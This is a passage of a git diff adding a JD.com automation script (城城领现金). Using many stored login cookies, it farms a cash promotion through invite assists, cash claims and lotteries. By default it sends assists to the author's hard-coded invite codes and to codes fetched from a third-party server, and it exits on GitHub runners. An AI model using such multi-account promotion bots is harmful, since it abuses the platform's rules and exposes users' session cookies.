"https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_city.js b/activity/jd_city.js new file mode 100644 index 0000000..d87bd9a --- /dev/null +++ b/activity/jd_city.js @@ -0,0 +1,394 @@ +/* +城城领现金 +活动时间:2021-05-25到2021-06-03 +更新时间:2021-05-24 014:55 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#城城领现金 +0 0-23/1 * * * jd_city.js, tag=城城领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "0 0-23/1 * * *" script-path=jd_city.js,tag=城城领现金 + +===================================Surge================================ +城城领现金 = type=cron,cronexp="0 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_city.js + +====================================小火箭============================= +城城领现金 = type=cron,script-path=jd_city.js, cronexpr="0 0-23/1 * * *", timeout=3600, enable=true + */ +const $ = new Env('城城领现金'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//自动抽奖 ,环境变量 JD_CITY_EXCHANGE +let exchangeFlag = $.getdata('jdJxdExchange') || !!0;//是否开启自动抽奖,建议活动快结束开启,默认关闭 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let inviteCodes = [ + 'xBd-HlYMlLUzqSkuz0qzAzuayqOG3FfAIeOTGLowr29_KbnH2bV4EX4@RtGKzr_wSAn2eIKZRdRm07jvOMS2zVH-g8ri6aOIZPDcI8v7CA@RtGKzr-gRAmmdoaZQdcz30FEv6dt0Mio6a5hyr9dt0vq1P8G0g@RtGKz-ygEAj2e9aYH4U10HcN_2_yeoSSOH50A7CItcn6lB6jwQ', + 'RtGKz-ygEAj2e9aYH4U10HcN_2_yeoSSOH50A7CItcn6lB6jwQ' +] +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requireConfig(); + if (exchangeFlag) { + console.log(`脚本自动抽奖`) + } else { + console.log(`脚本不会自动抽奖,建议活动快结束开启,默认关闭(在6.2日自动开启抽奖),如需自动抽奖请设置环境变量 JD_CITY_EXCHANGE 为true`); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await getInfo('',true); + for (let i = 0; i < $.newShareCodes.length; ++i) { + console.log(`\n开始助力 【${$.newShareCodes[i]}】`) + let res = await getInfo($.newShareCodes[i]) + if (res && res['data'] && res['data']['bizCode'] === 0) { + if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0] && res['data']['result']['toasts'][0]['status'] === '3') { + console.log(`助力次数已耗尽,跳出`) + break + } + if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0]) { + console.log(`助力 【${$.newShareCodes[i]}】:${res.data.result.toasts[0].msg}`) + } + } + if ((res && res['status'] && res['status'] === '3') || (res && res.data && res.data.bizCode === -11)) { + // 助力次数耗尽 || 黑号 + break + } + } + await getInviteInfo();//雇佣 + if (exchangeFlag) { + const res = await city_lotteryAward();//抽奖 + if (res && res > 0) { + for (let i = 0; i < new Array(res).fill('').length; i++) { + await $.wait(1000) + await city_lotteryAward();//抽奖 + } + } + } else { + //默认6.2开启抽奖 + if ((new Date().getMonth() + 1) === 6 && new Date().getDate() >= 2) { + const res = await city_lotteryAward();//抽奖 + if (res && res > 0) { + for (let i = 0; i < new Array(res).fill('').length; i++) { + await $.wait(1000) + await city_lotteryAward();//抽奖 + } + } + } + } + await $.wait(1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function getInfo(inviteId, flag = false) { + let body = {"lbsCity":"19","realLbsCity":"1601","inviteId":inviteId,"headImg":"","userName":""} + return new Promise((resolve) => { + $.post(taskPostUrl("city_getHomeData",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // if (inviteId) $.log(`\n助力结果:\n${data}\n`) + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + if (flag) console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data && data.data.result.userActBaseInfo.inviteId}\n`); + for(let vo of data.data.result && data.data.result.mainInfos || []){ + if (vo && vo.remaingAssistNum === 0 && vo.status === "1") { + console.log(vo.roundNum) + await receiveCash(vo.roundNum) + await $.wait(2*1000) + } + } + } else { + console.log(`\n\n${inviteId ? '助力好友' : '获取邀请码'}失败:${data.data.bizMsg}`) + if (flag) { + if (data.data && !data.data.result.userActBaseInfo.inviteId) { + console.log(`账号已黑,看不到邀请码\n`); + } + } + } + } else { + console.log(`\n\ncity_getHomeData失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function receiveCash(roundNum) { + let body = {"cashType":1,"roundNum":roundNum} + return new Promise((resolve) => { + $.post(taskPostUrl("city_receiveCash",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`领红包结果${data}`); + data = JSON.parse(data); + if (data['data']['bizCode'] === 0) { + console.log(`获得 ${data.data.result.currentTimeCash} 元,共计 ${data.data.result.totalCash} 元`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getInviteInfo() { + let body = {} + return new Promise((resolve) => { + $.post(taskPostUrl("city_masterMainData",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function city_lotteryAward() { + let body = {} + return new Promise((resolve) => { + $.post(taskPostUrl("city_lotteryAward",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`抽奖结果:${data}`); + data = JSON.parse(data); + if (data['data']['bizCode'] === 0) { + const lotteryNum = data['data']['result']['lotteryNum']; + resolve(lotteryNum); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/city/query/10/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD_CITY_EXCHANGE) { + exchangeFlag = process.env.JD_CITY_EXCHANGE || exchangeFlag; + } + if (process.env.CITY_SHARECODES) { + if (process.env.CITY_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.CITY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.CITY_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let 